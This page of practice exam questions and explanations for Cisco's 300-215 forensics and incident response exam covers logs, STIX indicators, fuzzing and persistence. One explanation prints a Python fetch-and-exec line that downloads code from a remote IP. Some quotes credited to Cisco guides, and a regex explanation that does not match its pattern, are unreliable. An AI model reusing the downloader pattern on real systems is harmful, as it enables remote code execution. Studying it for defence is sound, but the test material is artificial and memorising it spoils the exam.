300-215 Cisco Conducting Forensic Analysis and Incident Response Using Cisco CyberOps Technologies (CBRFIR) Free Practice Exam Questions (2025 Updated)

TheCisco Secure Firewall Threat Defense (Firepower)includes advanced capabilities such as intrusion prevention, URL filtering, and deep packet inspection. According to the CyberOps guide, it can detect and block C2 communications by analyzing traffic patterns and comparing them to threat intelligence data. The guide specifically states: "Advanced solutions such as Firepower provide detection capabilities for command and control (C2) traffic by identifying unusual outbound connections and behavioral anomalies".

The-hoption in theobjdumpcommand displayssection headersof an object file. According to general usage and command-line documentation, and also explained in digital forensics tools discussions in the CyberOps course, the header information includes details about the name, size, VMA, LMA, file offset, and alignment of each section in the object file. This helps analysts understand how data is stored and organized within compiled files during forensic examinations.

The best immediate step during a DDoS attack against an Apache web server is to inspect theaccess logs, which will show which IP addresses are making requests, their frequency, and potential patterns of abuse. As covered in the Cisco CyberOps material, "Apache logs can reveal the IPs responsible for flooding the service with requests". The commandsudo tail -100 /var/log/apache2/access.logallows quick review of recent activity.

The eradication phase in incident response involveseliminating the root cause of the incidentand strengthening defenses to prevent reoccurrence. In this case:

Intrusion Prevention System (D): Adding new rules to the IPS to detect and block malicious activity on TCP/135 is a direct eradication step to remove the threat’s entry point and prevent future attacks.

Centralized User Management (C): Hardening user accounts, removing unnecessary permissions, and applying tighter authentication/authorization measures helps eliminate the possibility that threat actors could exploit weak or mismanaged accounts to continue accessing the system.

Althoughanti-malware software (A)andenterprise block listing (E)are valuable, themost direct eradication stepshere specifically involve managing network access (via IPS) and strengthening user controls (via centralized user management), especially when TCP/135 (MSRPC endpoint mapper) can be used to enumerate services and potentially access vulnerable endpoints remotely.

This aligns with best practices outlined in incident response frameworks (such as the NIST SP 800-61 and referenced resources), which emphasizeclosing the exploited entry points(in this case, TCP/135) andremoving any lingering access pointsthrough user management and network control enhancements.

Cisco Secure Endpoint (formerly AMP for Endpoints) offers features like:

File trajectory: to track file behavior and spread across endpoints.

Orbital Advanced Search: for querying endpoint data to detect threats in real time.

This Python script uses a combination of libraries (urllib,zlib,base64, andssl) to:

Disable SSL certificate verification (ssl.CERT_NONEandcheck_hostname=False).

Construct a custom HTTPS opener with the specified SSL context.

Add a forgedUser-Agentheader to mimic Internet Explorer 11.

Connect to the URLhttps://23.1.4.14:8443 .

Download and execute base64-encoded and zlib-compressed content from that URL using:

exec(zlib.decompress(base64.b64decode(...).read()))

This shows a classic example of:

Downloading payloads from a remote server (23.1.4.14:8443).

Avoiding detection by disabling SSL verification.

Executing the payload dynamically withexec()after decoding and decompressing.

The main goal is clearly to initiate a connection to a remote command-and-control (C2) server on port 8443 and download/execute additional code.

Hence, the correct answer is: A. Initiate a connection to 23.1.4.14 over port 8443.

The code includes syntax and modules such asimport win32con,import win32api, and uses Python-specific formatting likedef,try/except, andprint, clearly indicating that this is written in Python. It also uses thewmimodule to monitor process creation events—a common technique in Python-based process monitoring scripts on Windows.

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The command in the image usesschtasks /createwith theONLOGONschedule andSystemuser context to executetest.exe. This is a well-documented persistence technique, where an attacker ensures that a malicious executable is launched automatically at each system logon. This kind of scheduled task creation aligns with persistence techniques in the MITRE ATT&CK framework (T1053).

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Since the phishing email originates from a known compromised cloud provider (XYZCloud), the correct immediate action for the security analyst is to determine the broader scope of exposure. This involves checking whether other users in the organization received similar emails from the same potentially malicious source. Therefore, querying for emails from theIP address rangesorSMTP domainslinked to XYZCloud is essential for identifying other possible attack vectors.

This step aligns with the containment phase of the incident response lifecycle, as outlined in theCyberOps Technologies (CBRFIR) 300-215 study guide, where threat hunting and log analysis are used to determine the extent of compromise and prevent lateral movement or further exposure. Only after the scope is understood should remediation or reporting actions follow.

According to the Cisco Certified CyberOps Associate guide (Chapter 5 - Identifying Attack Methods), attachments in emails—especially with file extensions like.xlsm—are high-risk indicators when analyzing suspicious or phishing emails. Malicious actors often use macro-enabled Excel files (.xlsm) as a payload delivery mechanism for malware or other exploits. These attachments are typically disguised as legitimate content such as refunds or invoices to trick the recipient into opening them.

The presence of“Card_Refund_18_6913.xlsm”is a strongIndicator of Compromise (IoC), as.xlsmfiles can contain VBA macros capable of executing malicious code. This matches exactly with examples provided in the study material discussing how macro-based payloads are delivered and recognized.

Hence,option Cis the most direct indicator of attack in this email.

Comprehensive and Detailed Explanation:

The exhibit contains STIX (Structured Threat Information Expression) formatted threat intelligence indicating:

A phishing indicator related to the domain:apponline-8473.xyz

Associated malicious IP addresses:164.90.168.78and199.19.224.83

Labelled as "malicious-activity" with "xfe-threat-score-10"

Based on this:

Option B is correct: The IP addresses explicitly listed in the pattern field should be blacklisted to prevent command-and-control or malicious connections.

Option C is correct: The domainapponline-8473.xyzis also listed and flagged as involved in phishing, so DNS and firewall rules should block access to and from this domain.

Options A and E are too broad or speculative; the data specifies a specific domain, not a generic block on all emails or URLs. Option D refers to a label used for classification and not a directly actionable item.

Therefore, the correct answers are: B and C.

The goal of the given Python code is to parse an Apache access log and extract IP addresses using regular expressions (regex). In this context, the most appropriate regex pattern to extract IPv4 addresses from log data is:

r'\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}'

This pattern matches typical IPv4 addresses, where each octet consists of 1 to 3 digits separated by periods. For example, it matches addresses like192.168.1.1or10.0.0.123. The pattern uses:

\d{1,3}to capture between 1 and 3 digits,

\.to match the dot (escaped since.is a special character in regex),

repeated 4 times with proper separation to form the full IPv4 structure.

Options A, B, and C either include incorrect syntax, improper escape sequences, or do not represent a valid IP address pattern.

This type of log analysis and pattern extraction is described in the Cisco CyberOps Associate curriculum under basic scripting and automation techniques used in log and artifact analysis.

The provided log file contains multiple HTTP GET requests attempting to access various directories and files on the web server such as:

/balance

/security

/finance

/secret

/opt

/fuzzer/admin

These requests appear to be sequential, systematically targeting commonly used file and directory paths. The response codes are mostly 404 (Not Found) and a few 301s, indicating that the requester is trying different permutations of paths to discover hidden or vulnerable endpoints. This behavior is consistent withdirectory fuzzing, a reconnaissance technique used by attackers (or automated tools) to map out web directory structures by sending a high volume of crafted requests to guess hidden or unlinked directories and files.

This is distinct from DDoS (which would manifest as volume-based access issues), SQL injection (which targets specific parameters within requests), or botnet infection (which generally involves command-and-control communication or massive traffic floods).

Dynamic malware analysis involves executing the malware in a controlled environment to observe its behavior, such as file creation, network traffic, or system modifications. Asandboxis designed for this purpose—it safely executes and monitors suspicious code without risking the host system. The other tools (Decompiler, Unpacker, Disassembler) are primarily used in static analysis.

Correct answer: D. Sandbox

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Theroot cause analysisin incident response focuses on identifying theinitial trigger or root causeof the incident to understand how it started and how to prevent recurrence. In this scenario, thephishing email sent to the victim(A) is the initial trigger that led to the employee’s action of clicking the malvertising link, resulting in the malware download.

The other options represent later stages in the incident response cycle, such as detection (SIEM alert, cybersecurity team’s alert) or supporting evidence (email header information), but they do not address the root cause, which is thephishing email itself.

This aligns with theCyberOps Technologies (CBRFIR) 300-215 study guide, which states that identifying theinitial vector of compromiseis critical to theroot cause analysisphase of incident response (Chapter: Incident Response Techniques, page 410-412).

The XML structure shows that:

The file namestarts with:"Final Report"

The file extensionequals:"doc.exe"

Together, this forms"Final Report.doc.exe"— a knowndouble-extensiontechnique used todisguise executablesas benign documents. This is a red flag in email forensics, commonly linked tomalware distribution, and explicitly covered in the Cisco CyberOps study material as a typicalevasion methodfor malicious attachments.

The alert clearly identifies ET SCAN DirBuster Web App Scan in Progress, referencingSID 2008186, which is a Snort signature that specifically detectsDirBusteractivity. DirBuster is a well-known tool used for brute-forcing hidden directories and files on web servers.

The Cisco CyberOps Associate guide and OWASP both identifydirectory brute-forcingas a reconnaissance technique to find unprotected or misconfigured endpoints on web applications, typically prior to launching deeper attacks.

Therefore, the correct interpretation of the alert is:

C. brute-force attack against directories and files on the target webserver.

The error logs indicate multiplePKCS12andASN.1 decodingerrors, such as:

PKCS12 routines:PKCS12_parse:mac verify failure

rsa routines:old_rsa_priv_decode:RSA lib

PKCS12 routines:PKCS12_key_gen_uni:malloc

These specific errors most commonly occur when:

Theprivate key does not correspondto the certificate being used.

There is amismatchbetween the public and private key pair required for SSL handshakes.

This is a well-documented condition in Apache SSL configuration issues and explicitly covered under TLS/SSL troubleshooting sections in cybersecurity operations contexts. The Cisco CyberOps guide also notes that SSL errors with key verification usually result from "improper key/certificate pairing" rather than file corruption or missing modules.

Thus, the correct answer is:

B. The private key does not match with the SSL certificate.

The event log shown in the exhibit isEvent ID 104, which in Windows indicates"The audit log was cleared."This is a significant indicator oflog tampering, a common post-exploitation technique used by attackers to hide their tracks after exfiltrating data or performing unauthorized actions.

The Cisco CyberOps Associate guide mentions:

"Log deletion events, especially Event ID 104, should be treated as potential evidence of malicious activity attempting to cover tracks".

Combined with large data dumps to network shares, this indicates not only unauthorized activity but also deliberate efforts to erase forensic evidence—characteristic oflog tampering.